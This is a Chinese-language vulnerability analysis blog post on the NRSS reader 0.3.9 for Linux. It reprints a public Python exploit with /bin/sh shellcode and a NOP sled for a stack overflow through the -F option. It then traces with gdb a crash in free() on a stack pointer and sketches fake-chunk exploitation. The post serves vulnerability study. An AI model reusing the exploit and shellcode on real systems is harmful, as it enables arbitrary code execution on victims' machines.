作者:k0shl 转载请注明出处:https://whereisk0shl.top
漏洞说明
nrss reader是linux下一款阅读文档的工具,个人感觉这里存在两个漏洞,一个是栈溢出一个是类型混淆,原版的PoC有点问题,漏洞触发时会触发在free函数中,逆向nrss源码发现它的free是free的一处栈指针,进而发现是在程序进入错误处理流程时,会调用free函数但是却勿将栈地址作为堆地址释放,而产生了crash,实际利用中,可以通过这种方式达成利用只是非常麻烦,但同样也存在栈溢出,只覆盖返回地址即可。在本文中我将沿用原exp作者的exploit,这里触发可能会发生在free中,但不影响分析。
软件下载:
https://www.exploit-db.com/apps/27d997c89340ebb6f4a1d9e1eb28ea39-nrss_0.3.9-1_i386.deb
PoC:
# gdb$ run -F $(python -c 'print "A"*256+"DCBA"')
# Starting program: /usr/bin/nrss -F $(python -c 'print "A"*256+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
# EAX: 0x00000000 EBX: 0x41414141 ECX: 0x00000000 EDX: 0x0809040C o d I t S z a p c
# ESI: 0x41414141 EDI: 0x41414141 EBP: 0x41414141 ESP: 0xBFFFED60 EIP: 0x41424344
# CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007BError while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()
import os, subprocess
def run():
try:
print "# NRSS News Reader - Stack Buffer Overflow by Juan Sacco"
print "# This Exploit has been developed using Exploit Pack"
# NOPSLED + SHELLCODE + EIP
buffersize = 256
nopsled = "\x90"*200
shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
eip = "\xd0\xec\xff\xbf"
buffer = nopsled * (buffersize-len(shellcode)) + eip
subprocess.call(["nrss -F",' ', buffer])
except OSError as e:
if e.errno == os.errno.ENOENT:
print "Sorry, NRSS Reader - Not found!"
else:
print "Error executing exploit"
raise
def howtousage():
print "Snap! Something went wrong"
sys.exit(-1)
if __name__ == '__main__':
try:
print "Exploit NRSS Reader v0.3.9-1 Local Overflow Exploit"
print "Author: Juan Sacco - Exploit Pack"
except IndexError:
howtousage()
run()
其实触发方式用PoC注释部分gdb的方式触发更好
漏洞分析
首先执行漏洞PoC,到达漏洞现场。
*** Error in `/usr/bin/nrss': free(): invalid pointer: 0xbffff571 ***
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x21e7
ECX: 0x21e7
EDX: 0x6
ESI: 0x46 ('F')
EDI: 0xb7f4b000 --> 0x1a5da8
EBP: 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0
ESP: 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0
0004| 0xbfffef98 --> 0x6
0008| 0xbfffef9c --> 0x21e7
0012| 0xbfffefa0 --> 0xb7dd3307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xbfffefa4 --> 0xb7f4b000 --> 0x1a5da8
0020| 0xbfffefa8 --> 0xbffff044 --> 0x0
0024| 0xbfffefac --> 0xb7dd49c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xbfffefb0 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT
可以看到,程序抛出了invalid pointer的错误,这个错误free了一个栈指针,误认为栈是堆,而栈中存放的是完全的数据部分,在free时错误的认为“堆”头结构被破坏造成的,下面通过bt看一下调用回溯。
Legend: code, data, rodata, value
Stopped reason: SIGABRT
0xb7fdebe0 in __kernel_vsyscall ()
gdb-peda$ bt
#0 0xb7fdebe0 in __kernel_vsyscall ()
#1 0xb7dd3307 in __GI_raise (sig=sig@entry=0x6)
at ../nptl/sysdeps/unix/sysv/linux/raise.c:56
#2 0xb7dd49c3 in __GI_abort () at abort.c:89
#3 0xb7e116f8 in __libc_message (do_abort=do_abort@entry=0x1,
fmt=fmt@entry=0xb7f0765c "*** Error in `%s': %s: 0x%s ***\n")
at ../sysdeps/posix/libc_fatal.c:175
#4 0xb7e1776a in malloc_printerr (action=<optimized out>,
str=0xb7f03172 "free(): invalid pointer", ptr=0xbffff57d) at malloc.c:4996
#5 0xb7e183bd in _int_free (av=0xb7f4b420 <main_arena>, p=<optimized out>,
have_lock=0x0) at malloc.c:3840
#6 0x0804c285 in ?? ()
#7 0x0804c5fb in ?? ()
#8 0xb7dbea63 in __libc_start_main (main=0x3, argc=0x80498f0, argv=0x0,
init=0x8049911, fini=0x804c2f0, rtld_fini=0x3, stack_end=0xbffff3f4)
at libc-start.c:287
#9 0xb7fff000 in ?? () from /lib/ld-linux.so.2
Backtrace stopped: previous frame inner to this frame (corrupt stack?)
在程序领空涉及两处调用,一处在#7,一处在#6,下面先分析#7的外层函数部分。
void __cdecl __noreturn main(int a1, char **a2)
{
v2 = a1;
v3 = a2;
v4 = getenv("HOME");
setlocale(6, "");
dword_80508CC = (int)&unk_8050360;
sub_8049A50(v2, v3);
v5 = dword_80508CC;
v6 = *(_DWORD *)dword_80508CC;
v7 = (int *)dword_80508CC;
if ( !*(_DWORD *)dword_80508CC )
{
v6 = sub_804D980(v4, "/.nrss/");
v5 = dword_80508CC;
}
*v7 = v6;
v8 = *(_DWORD *)(v5 + 4);
v9 = v5;
if ( !v8 )
{
v8 = sub_804D980(*(char **)v5, "feeds/");
v5 = dword_80508CC;
}
*(_DWORD *)(v9 + 4) = v8;
v10 = *(_DWORD *)(v5 + 8);
v11 = v5;
if ( !v10 )
{
v10 = sub_804D980(*(char **)v5, "config");
v5 = dword_80508CC;
}
*(_DWORD *)(v11 + 8) = v10;
v12 = *(_DWORD *)(v5 + 12);
v13 = v5;
if ( !v12 )
{
v12 = sub_804D980(*(char **)v5, "log");
v5 = dword_80508CC;
}
*(_DWORD *)(v13 + 12) = v12;
*(_DWORD *)(v5 + 16) = sub_804D980(*(char **)v5, ".cache");
if ( !unlink(*(const char **)(dword_80508CC + 16)) || (v14 = __errno_location(), *v14 == 2) )
{
if ( !unlink(*(const char **)(dword_80508CC + 12)) || (v14 = __errno_location(), *v14 == 2) )
{
if ( mkdir(*(const char **)dword_80508CC, 0x1EDu) )
{
v16 = *__errno_location();
if ( v16 != 17 )
{
v17 = (unsigned int)strerror(v16);
sub_804C1F0("Couldn't create config dir: %s\n", v17);
sub_804C240();
exit(-1);
}
}
if ( !mkdir(*(const char **)(dword_80508CC + 4), 0x1EDu) || (v15 = *__errno_location(), v15 == 17) )
{
sub_804C1F0("NRSS v%s\n", (unsigned int)"0.3.9");
sub_804E2D0(*(char **)(dword_80508CC + 8), (int)&off_80504E4, (int)&dword_80508A8);
signal(14, handler);
signal(28, sub_804D1F0);
signal(2, sub_804C2A0);
signal(17, sub_804D210);
signal(22, (__sighandler_t)1);
signal(13, sub_804D220);
alarm(0x3Cu);
sub_804B2C0(*(_DWORD *)(dword_80508CC + 76));
}
v19 = (unsigned int)strerror(v15);
sub_804C1F0("Couldn't create feed dir: %s\n", v19);
sub_804C240();
exit(-1);
}
}
sub_804C240();
v18 = strerror(*v14);
printf("Unlink failed: %s\n", v18);
exit(-1);
}
其中dword_80508CC是一处结构体,里面存放了各种nrss reader需要的变量,接下来执行了一处函数 sub_8049A50(v2, v3);,这个函数实际上就是对于当前变量的一个获取操作。
int __cdecl sub_8049A50(int argc, char **argv)
{
int result; // eax@1
int v3; // ebx@8
__int32 v4; // eax@8
int v5; // eax@9
int v6; // ebx@11
_DWORD *v7; // ebx@13
int v8; // ebx@14
while ( 1 )
{
result = getopt(argc, argv, "hovc:D:C:L:F:");
动态跟踪一下这个过程,单步步过,在这个过程中会获取参数的内容。
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x8054320 ("en_US.UTF-8")
EBX: 0xbffff3f4 --> 0xbffff560 ("/usr/bin/nrss")
ECX: 0x0
EDX: 0x0
ESI: 0x3
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff348 --> 0x0
ESP: 0xbffff320 --> 0x3
EIP: 0x804c33c (call 0x8049a50)
EFLAGS: 0x282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804c32b: mov DWORD PTR ds:0x80508cc,0x8050360
0x804c335: mov DWORD PTR [esp+0x4],ebx
0x804c339: mov DWORD PTR [esp],esi
=> 0x804c33c: call 0x8049a50
0x804c341: mov ebx,DWORD PTR ds:0x80508cc
0x804c347: mov eax,DWORD PTR [ebx]
0x804c349: mov esi,ebx
0x804c34b: test eax,eax
Guessed arguments:
arg[0]: 0x3
arg[1]: 0xbffff3f4 --> 0xbffff560 ("/usr/bin/nrss")
[------------------------------------stack-------------------------------------]
0000| 0xbffff320 --> 0x3
0004| 0xbffff324 --> 0xbffff3f4 --> 0xbffff560 ("/usr/bin/nrss")
0008| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3
0012| 0xbffff32c --> 0x8049340 (<_init+44>: pop eax)
0016| 0xbffff330 --> 0x804f1e0 (push ebp)
0020| 0xbffff334 --> 0x8050100 --> 0x8050014 --> 0x1
0024| 0xbffff338 --> 0xbffff360 --> 0x3
0028| 0xbffff33c --> 0xb7f4b000 --> 0x1a5da8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c33c in ?? ()
gdb-peda$ x/10x $esp
0xbffff320: 0x00000003 0xbffff3f4 0xbffff338 0x08049340
0xbffff330: 0x0804f1e0 0x08050100 0xbffff360 0xb7f4b000
0xbffff340: 0x00000000 0x00000000
gdb-peda$ x/10x 0xbffff3f4
0xbffff3f4: 0xbffff560 0xbffff56e 0xbffff571 0x00000000
0xbffff404: 0xbffff672 0xbffff67d 0xbffff68e 0xbffff6a1
0xbffff414: 0xbffff6cc 0xbffff6dd
gdb-peda$ x/10x 0xbffff571
0xbffff571: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff581: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff591: 0x41414141 0x41414141
这个其实并不重要,看一下之前的源码,随后会进行一系列操作,其中也包含对结构体的初始化,在这个过程中会执行类似malloc的操作,在栈中开辟了一片空间用于存放用户传入参数。
char *__cdecl sub_804D980(char *s, char *a2)
{
size_t v2; // edi@1
size_t v3; // eax@1
char *v4; // eax@1
char *v5; // eax@1
v2 = strlen(s);
v3 = strlen(a2);
v4 = (char *)sub_804D940(v2 + v3 + 1);
v5 = strcpy(v4, s);
return strcat(v5, a2);
}
关心到这个函数,实际上这个函数中sub_804D940就是执行malloc功能在栈中开辟空间的函数,这里会对整个内容进行初始化,这个v4初始化在栈上,接下来这个数据会考入v4,v4虽然长度是受控的,长度就是v2+v3+1,但是后面可以看到在接下来会调用strcat将v5和a2拼接,拷贝到v5的栈中,这个过程可能会造成栈溢出,接下来继续跟踪。
.text:0804C5DE loc_804C5DE: ; CODE XREF: main+137j
.text:0804C5DE mov [esp], eax ; errnum
.text:0804C5E1 call _strerror
.text:0804C5E6 mov dword ptr [esp], offset aCouldnTCreateF ; "Couldn't create feed dir: %s\n"
.text:0804C5ED mov [esp+4], eax ; arg
.text:0804C5F1 call sub_804C1F0
.text:0804C5F6 call sub_804C240
如果此时造成栈溢出,在没有canary等其他缓解机制的情况下可以通过控制返回地址来完成利用,就像原作者PoC给出的一样,但如果没有完成栈溢出,那么这个函数会正确退出,接下来会进入判断,对文件长度,当文件长度超过250字节的时候,程序会进入错误处理部分。
Starting program: /usr/bin/nrss -F $(python -c 'print "\x41"*256')
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x0
EDX: 0x0
ESI: 0x8050360 --> 0x8054330 ("/root/.nrss/")
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff348 --> 0x0
ESP: 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
EIP: 0x804c5f6 (call 0x804c240)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804c5e6: mov DWORD PTR [esp],0x804f5b1
0x804c5ed: mov DWORD PTR [esp+0x4],eax
0x804c5f1: call 0x804c1f0
=> 0x804c5f6: call 0x804c240
0x804c5fb: mov DWORD PTR [esp],0xffffffff
0x804c602: call 0x80498c4 <exit@plt>
0x804c607: nop
0x804c608: nop
No argument
[------------------------------------stack-------------------------------------]
0000| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0004| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0008| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3
0012| 0xbffff32c --> 0x8049340 (<_init+44>: pop eax)
0016| 0xbffff330 --> 0x804f1e0 (push ebp)
0020| 0xbffff334 --> 0x8050100 --> 0x8050014 --> 0x1
0024| 0xbffff338 --> 0xbffff360 --> 0x3
0028| 0xbffff33c --> 0xb7f4b000 --> 0x1a5da8
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
这部分会打印File name too long等信息,接下来会释放结构体。也就是进入下面的call函数中,也就是出现类型混淆问题的漏洞函数sub_804c240
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0x8050360 --> 0x8054330 --> 0x0
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x8054340 --> 0x0
EDX: 0xb7f4b42c --> 0x8054358 --> 0x6769 ('ig')
ESI: 0x8050360 --> 0x8054330 --> 0x0
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff318 --> 0xbffff348 --> 0x0
ESP: 0xbffff310 --> 0x0
EIP: 0x804c27a (mov eax,DWORD PTR [eax+0x4])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804c26d: mov DWORD PTR [esp],eax
0x804c270: call 0x8049544 <free@plt>
0x804c275: mov eax,ds:0x80508cc
=> 0x804c27a: mov eax,DWORD PTR [eax+0x4]
0x804c27d: mov DWORD PTR [esp],eax
0x804c280: call 0x8049544 <free@plt>
0x804c285: mov eax,ds:0x80508cc
0x804c28a: mov eax,DWORD PTR [eax+0x10]
[------------------------------------stack-------------------------------------]
0000| 0xbffff310 --> 0x0
0004| 0xbffff314 --> 0xb7d7b6bc --> 0x24 ('$')
0008| 0xbffff318 --> 0xbffff348 --> 0x0
0012| 0xbffff31c --> 0x804c5fb (mov DWORD PTR [esp],0xffffffff)
0016| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0020| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0024| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3
0028| 0xbffff32c --> 0x8049340 (<_init+44>: pop eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c27a in ?? ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xbffff571 ('A' <repeats 200 times>...)
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x8054340 --> 0x0
EDX: 0xb7f4b42c --> 0x8054358 --> 0x6769 ('ig')
ESI: 0x8050360 --> 0x8054330 --> 0x0
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff318 --> 0xbffff348 --> 0x0
ESP: 0xbffff310 --> 0x0
EIP: 0x804c27d (mov DWORD PTR [esp],eax)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804c270: call 0x8049544 <free@plt>
0x804c275: mov eax,ds:0x80508cc
0x804c27a: mov eax,DWORD PTR [eax+0x4]
=> 0x804c27d: mov DWORD PTR [esp],eax
0x804c280: call 0x8049544 <free@plt>
0x804c285: mov eax,ds:0x80508cc
0x804c28a: mov eax,DWORD PTR [eax+0x10]
0x804c28d: mov DWORD PTR [esp],eax
[------------------------------------stack-------------------------------------]
0000| 0xbffff310 --> 0x0
0004| 0xbffff314 --> 0xb7d7b6bc --> 0x24 ('$')
0008| 0xbffff318 --> 0xbffff348 --> 0x0
0012| 0xbffff31c --> 0x804c5fb (mov DWORD PTR [esp],0xffffffff)
0016| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0020| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0024| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3
0028| 0xbffff32c --> 0x8049340 (<_init+44>: pop eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c27d in ?? ()
gdb-peda$ n
[----------------------------------registers-----------------------------------]
EAX: 0xbffff571 ('A' <repeats 200 times>...)
EBX: 0xb7d7b6bc --> 0x24 ('$')
ECX: 0x8054340 --> 0x0
EDX: 0xb7f4b42c --> 0x8054358 --> 0x6769 ('ig')
ESI: 0x8050360 --> 0x8054330 --> 0x0
EDI: 0xbffffe58 ("/root")
EBP: 0xbffff318 --> 0xbffff348 --> 0x0
ESP: 0xbffff310 --> 0xbffff571 ('A' <repeats 200 times>...)
EIP: 0x804c280 (call 0x8049544 <free@plt>)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804c275: mov eax,ds:0x80508cc
0x804c27a: mov eax,DWORD PTR [eax+0x4]
0x804c27d: mov DWORD PTR [esp],eax
=> 0x804c280: call 0x8049544 <free@plt>
0x804c285: mov eax,ds:0x80508cc
0x804c28a: mov eax,DWORD PTR [eax+0x10]
0x804c28d: mov DWORD PTR [esp],eax
0x804c290: call 0x8049544 <free@plt>
Guessed arguments:
arg[0]: 0xbffff571 ('A' <repeats 200 times>...)
[------------------------------------stack-------------------------------------]
0000| 0xbffff310 --> 0xbffff571 ('A' <repeats 200 times>...)
0004| 0xbffff314 --> 0xb7d7b6bc --> 0x24 ('$')
0008| 0xbffff318 --> 0xbffff348 --> 0x0
0012| 0xbffff31c --> 0x804c5fb (mov DWORD PTR [esp],0xffffffff)
0016| 0xbffff320 --> 0x804f5b1 ("Couldn't create feed dir: %s\n")
0020| 0xbffff324 --> 0xb7f026a5 ("File name too long")
0024| 0xbffff328 --> 0xbffff338 --> 0xbffff360 --> 0x3
0028| 0xbffff32c --> 0x8049340 (<_init+44>: pop eax)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x0804c280 in ?? ()
gdb-peda$ x/10x $esp
0xbffff310: 0xbffff571 0xb7d7b6bc 0xbffff348 0x0804c5fb
0xbffff320: 0x0804f5b1 0xb7f026a5 0xbffff338 0x08049340
0xbffff330: 0x0804f1e0 0x08050100
gdb-peda$ x/10x 0xbffff571
0xbffff571: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff581: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff591: 0x41414141 0x41414141
可以看到,最后free的时候的指针是一个栈地址指针,而free函数会将这个栈地址作为堆地址释放,但栈地址中只存放了字符串而没有堆头等信息,从而在free时导致crash的发生,这里一旦产生类型混淆的问题,因为栈中数据可控,我们同样可以构造fake chunk来欺骗free,当然要麻烦许多,同时我也没有尝试类似\x00是否是badchar,有待有兴趣的读者尝试。
gdb-peda$ n
*** Error in `/usr/bin/nrss': free(): invalid pointer: 0xbffff571 ***
Program received signal SIGABRT, Aborted.
[----------------------------------registers-----------------------------------]
EAX: 0x0
EBX: 0x21e7
ECX: 0x21e7
EDX: 0x6
ESI: 0x46 ('F')
EDI: 0xb7f4b000 --> 0x1a5da8
EBP: 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0
ESP: 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0
EIP: 0xb7fdebe0 (<__kernel_vsyscall+16>: pop ebp)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0xb7fdebdc <__kernel_vsyscall+12>: nop
0xb7fdebdd <__kernel_vsyscall+13>: nop
0xb7fdebde <__kernel_vsyscall+14>: int 0x80
=> 0xb7fdebe0 <__kernel_vsyscall+16>: pop ebp
0xb7fdebe1 <__kernel_vsyscall+17>: pop edx
0xb7fdebe2 <__kernel_vsyscall+18>: pop ecx
0xb7fdebe3 <__kernel_vsyscall+19>: ret
0xb7fdebe4: int3
[------------------------------------stack-------------------------------------]
0000| 0xbfffef94 --> 0xbffff258 --> 0xbffff318 --> 0xbffff348 --> 0x0
0004| 0xbfffef98 --> 0x6
0008| 0xbfffef9c --> 0x21e7
0012| 0xbfffefa0 --> 0xb7dd3307 (<__GI_raise+71>: xchg ebx,edi)
0016| 0xbfffefa4 --> 0xb7f4b000 --> 0x1a5da8
0020| 0xbfffefa8 --> 0xbffff044 --> 0x0
0024| 0xbfffefac --> 0xb7dd49c3 (<__GI_abort+323>: mov edx,DWORD PTR gs:0x8)
0028| 0xbfffefb0 --> 0x6
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGABRT